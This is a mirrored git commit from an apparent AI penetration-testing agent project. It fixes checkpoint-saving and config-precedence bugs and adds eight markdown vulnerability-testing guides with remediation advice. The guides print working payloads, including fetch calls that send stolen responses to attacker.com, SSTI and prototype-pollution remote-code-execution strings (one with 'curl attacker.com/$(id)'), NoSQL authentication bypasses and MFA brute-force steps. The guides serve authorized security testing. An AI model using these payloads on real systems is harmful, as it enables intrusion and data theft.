mirror of
https://github.com/usestrix/strix.git
synced 2026-09-23 00:41:50 +00:00
fix code-review issues and add 8 new vulnerability skills
Checkpoint / resume fixes (bot review on PR #380): - cli.py: skip checkpoint save when scan completed cleanly (agent.state.completed) to prevent stale checkpoint re-creating after base_agent.py deletes it - tui.py: same completed guard in both _save_checkpoint_on_interrupt and action_custom_quit to cover all TUI exit paths - checkpoint_restore.py: fix infinite recursion in _depth() for cyclic parent_id references in corrupted checkpoints — mark node before recursing - config.py: restore original shell-env-wins precedence for LLM vars; cli-config.json only applies when the shell var is absent, preventing silent override of rotated keys managed via shell environment New vulnerability skills (from upstream PRs #204 and #334): - clickjacking, cors_misconfiguration, nosql_injection, prototype_pollution, ssti, websocket_security (PR #204) - mfa_bypass, edge_cases (PR #334) Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
parent
43cb418c92
commit
c21c4d26b2
12 changed files with 676 additions and 17 deletions
|
|
@ -141,11 +141,10 @@ class Config:
|
|||
cls.save({"env": env_vars})
|
||||
applied = {}
|
||||
|
||||
llm_vars = cls._llm_env_vars()
|
||||
for var_name, var_value in env_vars.items():
|
||||
if var_name in cls.tracked_vars():
|
||||
# LLM vars in cli-config.json always win over shell env
|
||||
if var_name in llm_vars or force or var_name not in os.environ:
|
||||
# Shell env wins unless --force or the var is not set in shell.
|
||||
if force or var_name not in os.environ:
|
||||
os.environ[var_name] = var_value
|
||||
applied[var_name] = var_value
|
||||
|
||||
|
|
|
|||
|
|
@ -34,12 +34,11 @@ def restore_sub_agents(checkpoint_data: Any, llm_config: Any) -> list[str]:
|
|||
def _depth(aid: str) -> int:
|
||||
if aid in _memo:
|
||||
return _memo[aid]
|
||||
# Mark before recursing to break any cycle in corrupted checkpoints.
|
||||
_memo[aid] = 0
|
||||
parent = sub_agent_states.get(aid, {}).get("parent_id")
|
||||
_memo[aid] = (
|
||||
0
|
||||
if (parent is None or parent not in sub_agent_states)
|
||||
else 1 + _depth(parent)
|
||||
)
|
||||
if parent is not None and parent in sub_agent_states:
|
||||
_memo[aid] = 1 + _depth(parent)
|
||||
return _memo[aid]
|
||||
|
||||
restored_ids: list[str] = []
|
||||
|
|
|
|||
|
|
@ -266,9 +266,13 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
|
|||
return
|
||||
if _checkpoint_saved.is_set():
|
||||
return
|
||||
agent_instance = _agent_ref[0]
|
||||
# Skip if the scan already completed successfully — the checkpoint
|
||||
# was deleted in base_agent.py and there is nothing to resume.
|
||||
if getattr(agent_instance.state, "completed", False):
|
||||
return
|
||||
_checkpoint_saved.set()
|
||||
try:
|
||||
agent_instance = _agent_ref[0]
|
||||
checkpoint_manager.save(
|
||||
agent_instance.state,
|
||||
tracer,
|
||||
|
|
|
|||
|
|
@ -814,6 +814,9 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||
return
|
||||
if _checkpoint_saved.is_set():
|
||||
return
|
||||
# Skip if the scan already completed — nothing to resume.
|
||||
if getattr(agent.state, "completed", False):
|
||||
return
|
||||
_checkpoint_saved.set()
|
||||
try:
|
||||
mgr.save(
|
||||
|
|
@ -2021,14 +2024,16 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||
_agent = getattr(self, "_current_agent", None)
|
||||
if _mgr and _agent:
|
||||
import contextlib
|
||||
with contextlib.suppress(Exception):
|
||||
_mgr.save(
|
||||
_agent.state,
|
||||
self.tracer,
|
||||
self.scan_config,
|
||||
self.agent_config.get("target_hash", ""),
|
||||
_agent.max_iterations,
|
||||
)
|
||||
# Only save if the scan was interrupted, not if it finished cleanly.
|
||||
if not getattr(_agent.state, "completed", False):
|
||||
with contextlib.suppress(Exception):
|
||||
_mgr.save(
|
||||
_agent.state,
|
||||
self.tracer,
|
||||
self.scan_config,
|
||||
self.agent_config.get("target_hash", ""),
|
||||
_agent.max_iterations,
|
||||
)
|
||||
|
||||
self.tracer.cleanup()
|
||||
|
||||
|
|
|
|||
71
strix/skills/vulnerabilities/clickjacking.md
Normal file
71
strix/skills/vulnerabilities/clickjacking.md
Normal file
|
|
@ -0,0 +1,71 @@
|
|||
---
|
||||
name: clickjacking
|
||||
description: Clickjacking testing covering UI redressing, frame embedding, and X-Frame-Options / CSP bypass techniques
|
||||
---
|
||||
|
||||
# Clickjacking
|
||||
|
||||
Clickjacking (UI redressing) tricks users into clicking hidden or disguised UI elements by overlaying transparent iframes on top of legitimate pages.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Targets**
|
||||
- Pages that perform sensitive actions (fund transfers, account changes, password resets, OAuth authorization, social actions)
|
||||
- Pages missing `X-Frame-Options` or `Content-Security-Policy: frame-ancestors`
|
||||
|
||||
**Defenses to Bypass**
|
||||
- `X-Frame-Options: DENY / SAMEORIGIN`
|
||||
- `Content-Security-Policy: frame-ancestors 'none' / 'self'`
|
||||
- Frame-busting JavaScript
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
### Step 1 – Check Headers
|
||||
```
|
||||
curl -s -I https://target.com | grep -i "x-frame-options\|frame-ancestors"
|
||||
```
|
||||
Missing or misconfigured headers indicate framing is allowed.
|
||||
|
||||
### Step 2 – Attempt Embedding
|
||||
```html
|
||||
<iframe src="https://target.com/sensitive-action" width="800" height="600" style="opacity:0.0001"></iframe>
|
||||
```
|
||||
If the page renders inside the iframe, the site is vulnerable.
|
||||
|
||||
### Step 3 – Frame-Buster Bypass
|
||||
If JavaScript frame-busting is used (e.g., `if (top !== self) top.location = self.location`):
|
||||
- Use `sandbox` attribute to disable JS: `<iframe sandbox="allow-forms" src="...">`
|
||||
- Double-framing technique to confuse legacy bust code
|
||||
|
||||
### Step 4 – Construct PoC
|
||||
Create a minimal HTML page that overlays the victim page and demonstrates a click being captured on a hidden sensitive button.
|
||||
|
||||
## Common Vulnerable Endpoints
|
||||
|
||||
- `/settings` — account deletion or email change
|
||||
- `/transfer` — financial or data operations
|
||||
- `/oauth/authorize` — third-party authorization grant
|
||||
- `/2fa/disable` — two-factor authentication removal
|
||||
- Social actions: like, follow, share buttons
|
||||
|
||||
## Severity Assessment
|
||||
|
||||
| Condition | Severity |
|
||||
|-----------|----------|
|
||||
| Sensitive action completable in one click (no CSRF token required) | High |
|
||||
| Multi-step action, partial automation possible | Medium |
|
||||
| Cosmetic/low-impact action only | Low |
|
||||
|
||||
## Reporting
|
||||
|
||||
- Include PoC HTML
|
||||
- Screenshot or video showing the overlaid UI
|
||||
- Confirm action was completed without user awareness
|
||||
- Note whether `X-Frame-Options` or `frame-ancestors` is absent
|
||||
|
||||
## Remediation
|
||||
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
Content-Security-Policy: frame-ancestors 'none';
|
||||
```
|
||||
73
strix/skills/vulnerabilities/cors_misconfiguration.md
Normal file
73
strix/skills/vulnerabilities/cors_misconfiguration.md
Normal file
|
|
@ -0,0 +1,73 @@
|
|||
---
|
||||
name: cors_misconfiguration
|
||||
description: CORS misconfiguration testing covering origin reflection, null origin, and credential leakage
|
||||
---
|
||||
|
||||
# CORS Misconfiguration
|
||||
|
||||
Cross-Origin Resource Sharing (CORS) misconfigurations allow attacker-controlled origins to read sensitive responses from APIs and authenticated endpoints.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**High-Value Targets**
|
||||
- REST/GraphQL APIs returning user data, tokens, or PII
|
||||
- Authenticated endpoints with `Access-Control-Allow-Credentials: true`
|
||||
- Internal/staging APIs exposed to the internet
|
||||
|
||||
**Common Misconfigurations**
|
||||
- Reflected `Origin` header with credentials allowed
|
||||
- `Access-Control-Allow-Origin: null` accepted
|
||||
- Wildcard `*` with credentials (browser blocks this, but check for proxy quirks)
|
||||
- Partial-match origin validation (e.g., `evil-target.com` bypasses `target.com` suffix check)
|
||||
- Pre-domain match bypass: `targetevilsite.com`
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
### Step 1 – Baseline Request
|
||||
```
|
||||
curl -s -I -H "Origin: https://attacker.com" https://target.com/api/profile
|
||||
```
|
||||
Check if `Access-Control-Allow-Origin: https://attacker.com` is reflected.
|
||||
|
||||
### Step 2 – Credentials Check
|
||||
```
|
||||
curl -s -I -H "Origin: https://attacker.com" https://target.com/api/profile
|
||||
```
|
||||
If both of the following are present, it is exploitable:
|
||||
- `Access-Control-Allow-Origin: https://attacker.com`
|
||||
- `Access-Control-Allow-Credentials: true`
|
||||
|
||||
### Step 3 – Null Origin Test
|
||||
```
|
||||
curl -s -I -H "Origin: null" https://target.com/api/profile
|
||||
```
|
||||
Null origin can be triggered from sandboxed iframes.
|
||||
|
||||
### Step 4 – Subdomain / Prefix Bypass
|
||||
Try origins:
|
||||
- `https://target.com.attacker.com`
|
||||
- `https://attackertarget.com`
|
||||
- `https://sub.target.com` (if subdomains are trusted but one is compromised)
|
||||
|
||||
### Step 5 – Exploit PoC
|
||||
```html
|
||||
<script>
|
||||
fetch("https://target.com/api/profile", {credentials: "include"})
|
||||
.then(r => r.text())
|
||||
.then(d => fetch("https://attacker.com/log?d=" + btoa(d)));
|
||||
</script>
|
||||
```
|
||||
|
||||
## Severity Assessment
|
||||
|
||||
| Condition | Severity |
|
||||
|-----------|----------|
|
||||
| Authenticated sensitive data returned with reflected origin + credentials | Critical |
|
||||
| Internal API reachable from internet with wildcard | High |
|
||||
| Unauthenticated endpoint only | Low |
|
||||
|
||||
## Remediation
|
||||
|
||||
- Maintain an explicit whitelist of allowed origins; never reflect the `Origin` header blindly
|
||||
- Never combine `Access-Control-Allow-Origin: *` with `Access-Control-Allow-Credentials: true`
|
||||
- Reject `null` origin for credentialed requests
|
||||
95
strix/skills/vulnerabilities/edge_cases.md
Normal file
95
strix/skills/vulnerabilities/edge_cases.md
Normal file
|
|
@ -0,0 +1,95 @@
|
|||
---
|
||||
name: edge_cases
|
||||
description: Edge case testing covering boundary conditions, encoding tricks, race conditions, and parser differentials that bypass standard security controls
|
||||
---
|
||||
|
||||
# Edge Cases
|
||||
|
||||
Security controls often fail at boundary conditions. Testing edge cases systematically uncovers bypasses that standard payloads miss.
|
||||
|
||||
## Encoding and Representation
|
||||
|
||||
**URL Encoding Variants**
|
||||
- Double encoding: `%2527` → decoded twice to `'`
|
||||
- UTF-8 overlong encoding: `%c0%ae` → `.` (path traversal)
|
||||
- Unicode normalization: `SELECT` → `SELECT` after NFKC
|
||||
|
||||
**Case and Whitespace**
|
||||
- Mixed case: `SeLeCt`, `ScRiPt`
|
||||
- Null bytes: `admin%00@evil.com` splitting email validation
|
||||
- Newline injection: `%0d%0a` in headers
|
||||
- Tab vs space: `SELECT/**/1` vs `SELECT 1`
|
||||
|
||||
**Content-Type Confusion**
|
||||
- Send JSON as `application/x-www-form-urlencoded`
|
||||
- Send XML where JSON is expected (XXE pivot)
|
||||
- Charset parameter abuse: `charset=utf-7`, `charset=ibm037`
|
||||
|
||||
## Boundary Conditions
|
||||
|
||||
**Integer Boundaries**
|
||||
- Max int32: `2147483647` → `2147483647 + 1` triggers overflow
|
||||
- Negative IDs: `-1`, `-9999` may access special records
|
||||
- Zero: ID `0` sometimes maps to admin or null record
|
||||
|
||||
**String Length**
|
||||
- Empty string `""` vs absent parameter vs `null`
|
||||
- Very long input (>= 10,000 chars) for buffer overflows / ReDoS
|
||||
- Single character, single space, unicode zero-width space `\u200b`
|
||||
|
||||
**Array / Object Type Confusion**
|
||||
- Sending `["admin"]` where `"admin"` (string) is expected
|
||||
- `{"role": ["admin", "user"]}` vs `{"role": "admin"}`
|
||||
- `null` vs missing key in JSON body
|
||||
|
||||
## Parser Differentials
|
||||
|
||||
**Path Traversal Edge Cases**
|
||||
- `....//` (four dots, two slashes) normalised differently per OS
|
||||
- `..%2f`, `..%5c`, `..%252f` (double-encoded slash)
|
||||
- Windows UNC: `\\server\share`
|
||||
- URL path confusion: `/api/../admin`
|
||||
|
||||
**Host Header Injection**
|
||||
- `Host: target.com:80@attacker.com`
|
||||
- `X-Forwarded-Host: attacker.com`
|
||||
- Duplicate `Host` headers
|
||||
|
||||
**HTTP Method Override**
|
||||
- `X-HTTP-Method-Override: DELETE`
|
||||
- `_method=PUT` in POST body
|
||||
- `X-Method-Override: PATCH`
|
||||
|
||||
## Race Conditions at Boundaries
|
||||
|
||||
- Submit two simultaneous requests to use a single-use coupon/token
|
||||
- Concurrent account creation with the same username
|
||||
- Parallel password reset requests to exhaust single-use token
|
||||
- Double-spend: two simultaneous withdrawal requests
|
||||
|
||||
## Authentication Edge Cases
|
||||
|
||||
- Logging in with username containing leading/trailing whitespace
|
||||
- Email case insensitivity: `Admin@example.com` vs `admin@example.com`
|
||||
- Unicode homograph in username: `аdmin` (Cyrillic а) vs `admin`
|
||||
- Expired session token still accepted after password change
|
||||
- Password reset token valid after email address change
|
||||
|
||||
## API Versioning
|
||||
|
||||
- `/api/v1/` has security controls; `/api/v2/` or `/api/` (unversioned) may not
|
||||
- Old versions left accessible without auth
|
||||
- Mobile app endpoints (`/mobile/api/`) with relaxed validation
|
||||
|
||||
## Severity Assessment
|
||||
|
||||
Edge cases are context-dependent. Evaluate each finding based on:
|
||||
- What security control is bypassed
|
||||
- What impact the bypass enables (auth bypass = Critical, input validation bypass = variable)
|
||||
|
||||
## Testing Tips
|
||||
|
||||
- Fuzz with Burp Intruder using encoding and boundary payloads
|
||||
- Compare responses for subtle differences (timing, length, status code)
|
||||
- Test every input field in both authenticated and unauthenticated states
|
||||
- Repeat tests after changing content-type, HTTP method, and parameter names
|
||||
90
strix/skills/vulnerabilities/mfa_bypass.md
Normal file
90
strix/skills/vulnerabilities/mfa_bypass.md
Normal file
|
|
@ -0,0 +1,90 @@
|
|||
---
|
||||
name: mfa_bypass
|
||||
description: MFA bypass testing covering code reuse, brute force, response manipulation, and account recovery weaknesses
|
||||
---
|
||||
|
||||
# MFA Bypass
|
||||
|
||||
Multi-Factor Authentication can be circumvented through implementation weaknesses even when correctly integrated at the UI level. Always test MFA flows independently of the underlying authentication.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Code Weaknesses**
|
||||
- TOTP/OTP codes not invalidated after use (replay attack)
|
||||
- Long validity windows (> 5 minutes for TOTP)
|
||||
- No rate-limiting on OTP submission endpoint
|
||||
- OTP transmitted in response body or URL
|
||||
|
||||
**Flow Weaknesses**
|
||||
- MFA step skippable by directly navigating to post-auth URL
|
||||
- Session token issued before MFA completion
|
||||
- `mfa_verified` flag set client-side (response manipulation)
|
||||
- Backup codes exposed in API response or account settings
|
||||
|
||||
**Account Recovery Weaknesses**
|
||||
- "Forgot MFA" flow bypasses MFA entirely with weak identity verification
|
||||
- SMS OTP subject to SIM swapping
|
||||
- Recovery codes not invalidated after use
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
### Step 1 – OTP Replay
|
||||
Submit a valid OTP, log out, log back in, and submit the same OTP again within the validity window. If it succeeds, codes are not invalidated after use.
|
||||
|
||||
### Step 2 – Rate-Limit Test
|
||||
Send OTP submission requests in rapid succession (50–200 requests):
|
||||
```
|
||||
POST /api/mfa/verify
|
||||
{"otp": "000000"}
|
||||
...
|
||||
{"otp": "999999"}
|
||||
```
|
||||
If no lockout occurs after ~10 failures, brute force is possible.
|
||||
|
||||
### Step 3 – Response Manipulation
|
||||
Intercept MFA verification response. If the response contains:
|
||||
```json
|
||||
{"success": false, "mfa_required": true}
|
||||
```
|
||||
Modify to:
|
||||
```json
|
||||
{"success": true, "mfa_required": false}
|
||||
```
|
||||
and check if the application grants access.
|
||||
|
||||
### Step 4 – Skip MFA Step
|
||||
After completing step 1 (username/password), directly request a protected resource before submitting the OTP. If the session cookie already grants access, MFA is not enforced server-side.
|
||||
|
||||
### Step 5 – Backup Code Exposure
|
||||
```
|
||||
GET /api/account/mfa/backup-codes
|
||||
```
|
||||
Check if backup codes are returned in plaintext or if exhausted codes remain valid.
|
||||
|
||||
### Step 6 – Parameter Tampering
|
||||
```
|
||||
POST /api/mfa/verify
|
||||
{"otp": "123456", "user_id": "victim_user_id"}
|
||||
```
|
||||
Try substituting another user's ID to verify OTP in their context.
|
||||
|
||||
### Step 7 – OTP in URL or Logs
|
||||
Check network requests for OTPs appearing in query parameters, referrer headers, or server access logs.
|
||||
|
||||
## Severity Assessment
|
||||
|
||||
| Condition | Severity |
|
||||
|-----------|----------|
|
||||
| MFA step fully skippable | Critical |
|
||||
| OTP brute-forceable (no rate limit) | High |
|
||||
| Response manipulation grants access | High |
|
||||
| OTP replay within valid window | Medium |
|
||||
| Backup code exposure | Medium–High |
|
||||
|
||||
## Remediation
|
||||
|
||||
- Invalidate OTP immediately after first successful use
|
||||
- Enforce server-side MFA state; never trust client-supplied `mfa_verified` flags
|
||||
- Rate-limit OTP attempts (≤ 5 per minute, lockout after 10 failures)
|
||||
- Expire TOTP codes at the 30-second window boundary
|
||||
- Require re-authentication before revealing or regenerating backup codes
|
||||
78
strix/skills/vulnerabilities/nosql_injection.md
Normal file
78
strix/skills/vulnerabilities/nosql_injection.md
Normal file
|
|
@ -0,0 +1,78 @@
|
|||
---
|
||||
name: nosql_injection
|
||||
description: NoSQL injection testing covering MongoDB operator injection, authentication bypass, and data extraction
|
||||
---
|
||||
|
||||
# NoSQL Injection
|
||||
|
||||
NoSQL injection exploits insufficient input sanitization in NoSQL database queries, allowing attackers to bypass authentication, extract data, or modify queries using database-specific operators.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Databases**
|
||||
- MongoDB (most common), CouchDB, Redis, Cassandra, DynamoDB
|
||||
|
||||
**Injection Points**
|
||||
- JSON request bodies (`Content-Type: application/json`)
|
||||
- Query parameters parsed into objects
|
||||
- Login forms, search endpoints, filter parameters
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
### Step 1 – Detect JSON Parameter Handling
|
||||
Send object instead of string:
|
||||
```
|
||||
POST /login
|
||||
{"username": {"$gt": ""}, "password": {"$gt": ""}}
|
||||
```
|
||||
If login succeeds without valid credentials → authentication bypass.
|
||||
|
||||
### Step 2 – Operator Injection in Query Params
|
||||
```
|
||||
GET /users?username[$ne]=invalid
|
||||
GET /users?age[$gt]=0
|
||||
```
|
||||
|
||||
### Step 3 – Extract Data with `$regex`
|
||||
```json
|
||||
{"username": "admin", "password": {"$regex": "^a"}}
|
||||
```
|
||||
Iterate character by character to extract password hashes or tokens.
|
||||
|
||||
### Step 4 – Blind Injection (Boolean-Based)
|
||||
Use true/false conditions to infer data:
|
||||
```json
|
||||
{"username": "admin", "password": {"$regex": "^secret"}}
|
||||
```
|
||||
Time difference or response length difference confirms the condition.
|
||||
|
||||
### Step 5 – `$where` JavaScript Injection (MongoDB < 4.4)
|
||||
```json
|
||||
{"$where": "sleep(5000)"}
|
||||
{"$where": "this.username == 'admin' && this.password.match(/^a/)"}
|
||||
```
|
||||
|
||||
## Common Payload List
|
||||
|
||||
| Operator | Purpose |
|
||||
|----------|---------|
|
||||
| `{"$gt": ""}` | Match anything greater than empty string |
|
||||
| `{"$ne": null}` | Match any non-null value |
|
||||
| `{"$regex": ".*"}` | Match any string |
|
||||
| `{"$in": ["admin","root"]}` | Enumerate known values |
|
||||
| `{"$where": "1==1"}` | JS expression always true |
|
||||
|
||||
## Severity Assessment
|
||||
|
||||
| Condition | Severity |
|
||||
|-----------|----------|
|
||||
| Authentication bypass | Critical |
|
||||
| Arbitrary data extraction with credentials | High |
|
||||
| Limited record enumeration | Medium |
|
||||
|
||||
## Remediation
|
||||
|
||||
- Use parameterized queries / ODM validation (e.g., Mongoose schema types)
|
||||
- Reject or strip keys starting with `$` from user input
|
||||
- Enable `strict` mode in Mongoose
|
||||
- Disable `$where` and JavaScript execution in MongoDB (`--noscripting`)
|
||||
75
strix/skills/vulnerabilities/prototype_pollution.md
Normal file
75
strix/skills/vulnerabilities/prototype_pollution.md
Normal file
|
|
@ -0,0 +1,75 @@
|
|||
---
|
||||
name: prototype_pollution
|
||||
description: Prototype pollution testing covering client-side and server-side JavaScript object prototype manipulation
|
||||
---
|
||||
|
||||
# Prototype Pollution
|
||||
|
||||
Prototype pollution allows attackers to inject properties into JavaScript's `Object.prototype`, affecting all objects in the application. This can lead to XSS, RCE, authentication bypass, or denial of service.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Client-Side**
|
||||
- URL query parameters parsed into objects (e.g., `?__proto__[admin]=true`)
|
||||
- Hash fragment, JSON merge operations
|
||||
- Vulnerable libraries: lodash, jQuery (old), Hoek, merge/deepmerge, qs
|
||||
|
||||
**Server-Side (Node.js)**
|
||||
- JSON body deserialization
|
||||
- Deep merge / extend utilities
|
||||
- Template engines evaluating polluted properties
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
### Step 1 – Client-Side Detection
|
||||
In browser console, inject via URL:
|
||||
```
|
||||
https://target.com/?__proto__[polluted]=yes
|
||||
```
|
||||
Then check: `({}).polluted === "yes"` — if `true`, the app is vulnerable.
|
||||
|
||||
### Step 2 – JSON Body Injection
|
||||
```json
|
||||
{"__proto__": {"isAdmin": true}}
|
||||
{"constructor": {"prototype": {"isAdmin": true}}}
|
||||
```
|
||||
Send in POST body; check if subsequent requests gain elevated privileges.
|
||||
|
||||
### Step 3 – Gadget Hunting (Server-Side RCE)
|
||||
Common gadgets in Node.js:
|
||||
- `child_process.spawn` options polluted with `shell: true`
|
||||
- Template engines: Handlebars, Pug, EJS checking polluted properties
|
||||
- `JSON.parse` / `Object.assign` sinks
|
||||
|
||||
```json
|
||||
{"__proto__": {"outputFunctionName": "_x; process.mainModule.require('child_process').execSync('id > /tmp/pwned'); //"}}
|
||||
```
|
||||
(Pug template RCE gadget)
|
||||
|
||||
### Step 4 – Property Names to Try
|
||||
- `__proto__`
|
||||
- `constructor.prototype`
|
||||
- `__proto__.constructor.prototype`
|
||||
|
||||
### Step 5 – DoS via Pollution
|
||||
```json
|
||||
{"__proto__": {"toString": null}}
|
||||
```
|
||||
Overriding built-in methods can crash Node.js processes.
|
||||
|
||||
## Severity Assessment
|
||||
|
||||
| Condition | Severity |
|
||||
|-----------|----------|
|
||||
| Server-side RCE via gadget chain | Critical |
|
||||
| Authentication/authorization bypass | High |
|
||||
| Client-side XSS via polluted sink | High |
|
||||
| Denial of service | Medium |
|
||||
|
||||
## Remediation
|
||||
|
||||
- Use `Object.create(null)` for dictionaries that hold user-supplied keys
|
||||
- Validate/sanitize keys: reject `__proto__`, `constructor`, `prototype`
|
||||
- Use `Map` instead of plain objects for user-controlled key-value pairs
|
||||
- Upgrade vulnerable libraries (lodash ≥ 4.17.21, qs ≥ 6.10.3)
|
||||
- Set `--frozen-intrinsics` in Node.js (experimental)
|
||||
86
strix/skills/vulnerabilities/ssti.md
Normal file
86
strix/skills/vulnerabilities/ssti.md
Normal file
|
|
@ -0,0 +1,86 @@
|
|||
---
|
||||
name: ssti
|
||||
description: Server-Side Template Injection testing covering detection, engine fingerprinting, and RCE exploitation
|
||||
---
|
||||
|
||||
# Server-Side Template Injection (SSTI)
|
||||
|
||||
SSTI occurs when user input is embedded unsanitized into a server-side template, allowing code execution in the template engine context and often leading to RCE.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Template Engines**
|
||||
- Python: Jinja2, Mako, Tornado, Cheetah
|
||||
- Java: Freemarker, Velocity, Pebble, Thymeleaf
|
||||
- Node.js: Pug/Jade, Handlebars, EJS, Nunjucks, Twig.js
|
||||
- Ruby: ERB, Slim, Liquid
|
||||
- PHP: Twig, Smarty, Blade
|
||||
|
||||
**Injection Points**
|
||||
- Error pages that echo user input
|
||||
- Email templates, PDF generators
|
||||
- Custom dashboards with user-controlled text
|
||||
- Search fields, file names, URL paths reflected in responses
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
### Step 1 – Polyglot Detection Probe
|
||||
```
|
||||
${{<%[%'"}}%\.
|
||||
```
|
||||
Errors or unusual output indicate a template context.
|
||||
|
||||
### Step 2 – Math Probe (Engine Agnostic)
|
||||
```
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
<%= 7*7 %>
|
||||
#{7*7}
|
||||
*{7*7}
|
||||
```
|
||||
If the response contains `49`, the input is being evaluated.
|
||||
|
||||
### Step 3 – Engine Fingerprinting
|
||||
| Payload | Engine |
|
||||
|---------|--------|
|
||||
| `{{7*'7'}}` → `7777777` | Jinja2 / Twig |
|
||||
| `${7*7}` → `49` | Freemarker / EL |
|
||||
| `<%= 7*7 %>` → `49` | ERB / EJS |
|
||||
| `#{7*7}` → `49` | Ruby ERB |
|
||||
| `{{= 7*7 }}` → `49` | Pebble |
|
||||
|
||||
### Step 4 – RCE via Jinja2 (Python)
|
||||
```python
|
||||
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
||||
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
```
|
||||
|
||||
### Step 5 – RCE via Freemarker (Java)
|
||||
```
|
||||
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||||
```
|
||||
|
||||
### Step 6 – RCE via Pug (Node.js)
|
||||
```
|
||||
#{root.process.mainModule.require('child_process').execSync('id')}
|
||||
```
|
||||
|
||||
### Step 7 – Blind SSTI (Out-of-Band)
|
||||
```
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('curl attacker.com/$(id)',shell=True,stdout=-1).communicate()}}
|
||||
```
|
||||
|
||||
## Severity Assessment
|
||||
|
||||
| Condition | Severity |
|
||||
|-----------|----------|
|
||||
| RCE achieved | Critical |
|
||||
| File read / environment variable disclosure | High |
|
||||
| Template expression evaluated, no code exec | Medium |
|
||||
|
||||
## Remediation
|
||||
|
||||
- Never pass raw user input to template render functions
|
||||
- Use sandboxed template environments (Jinja2 `SandboxedEnvironment`)
|
||||
- Validate and escape all user data before template interpolation
|
||||
- Use logic-less templates (Mustache) where dynamic execution is not needed
|
||||
84
strix/skills/vulnerabilities/websocket_security.md
Normal file
84
strix/skills/vulnerabilities/websocket_security.md
Normal file
|
|
@ -0,0 +1,84 @@
|
|||
---
|
||||
name: websocket_security
|
||||
description: WebSocket security testing covering cross-site WebSocket hijacking, input validation, and authentication bypass
|
||||
---
|
||||
|
||||
# WebSocket Security
|
||||
|
||||
WebSockets maintain persistent bidirectional connections and are often exempt from the same security controls applied to HTTP endpoints, making them a high-value attack surface.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Connection Weaknesses**
|
||||
- Missing `Origin` header validation → Cross-Site WebSocket Hijacking (CSWSH)
|
||||
- No authentication token in handshake (relies on cookies without `SameSite`)
|
||||
- Upgrade endpoint accessible without session validation
|
||||
|
||||
**Message-Level Issues**
|
||||
- Unsanitized messages processed as commands or SQL/OS calls
|
||||
- JSON message injection (parameter tampering, privilege escalation)
|
||||
- XSS via WebSocket message reflected into DOM
|
||||
- Binary protocol manipulation
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
### Step 1 – Inspect Handshake
|
||||
```
|
||||
GET /ws HTTP/1.1
|
||||
Upgrade: websocket
|
||||
Connection: Upgrade
|
||||
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
|
||||
Origin: https://target.com
|
||||
```
|
||||
Capture in Burp; note cookies and any auth tokens in the request.
|
||||
|
||||
### Step 2 – Cross-Site WebSocket Hijacking (CSWSH)
|
||||
Create attacker page:
|
||||
```html
|
||||
<script>
|
||||
var ws = new WebSocket("wss://target.com/ws");
|
||||
ws.onmessage = function(e) {
|
||||
fetch("https://attacker.com/log?d=" + btoa(e.data));
|
||||
};
|
||||
</script>
|
||||
```
|
||||
If the server accepts cross-origin connections using session cookies, sensitive data is stolen.
|
||||
|
||||
### Step 3 – Change Origin Header in Burp
|
||||
Intercept the WebSocket upgrade request and change `Origin` to `https://attacker.com`. If the server still upgrades, origin validation is absent.
|
||||
|
||||
### Step 4 – Message Injection / Tampering
|
||||
After connecting, modify message fields:
|
||||
```json
|
||||
{"action": "getUser", "userId": "1"}
|
||||
→ {"action": "getUser", "userId": "2"}
|
||||
```
|
||||
Look for IDOR, privilege escalation, or injections in message payloads.
|
||||
|
||||
### Step 5 – Injection via Messages
|
||||
```json
|
||||
{"message": "<img src=x onerror=alert(1)>"}
|
||||
{"query": "'; DROP TABLE users; --"}
|
||||
{"cmd": "ls /"}
|
||||
```
|
||||
|
||||
### Step 6 – Authentication Bypass
|
||||
Try connecting to `wss://target.com/ws` without cookies or with expired tokens. Check if the server allows unauthenticated message processing.
|
||||
|
||||
## Severity Assessment
|
||||
|
||||
| Condition | Severity |
|
||||
|-----------|----------|
|
||||
| CSWSH leaking sensitive user data | High |
|
||||
| Authentication bypass on WebSocket endpoint | High |
|
||||
| Command/SQL injection via messages | Critical |
|
||||
| XSS via reflected WebSocket message | Medium–High |
|
||||
| IDOR via message tampering | Medium |
|
||||
|
||||
## Remediation
|
||||
|
||||
- Validate `Origin` header server-side against an explicit allowlist
|
||||
- Require an explicit auth token (not just session cookie) in the WebSocket handshake
|
||||
- Apply the same input validation to WebSocket messages as HTTP endpoints
|
||||
- Use `SameSite=Strict` cookies to prevent CSWSH
|
||||
- Implement per-connection rate limiting and message size limits
|
||||
Loading…
Add table
Reference in a new issue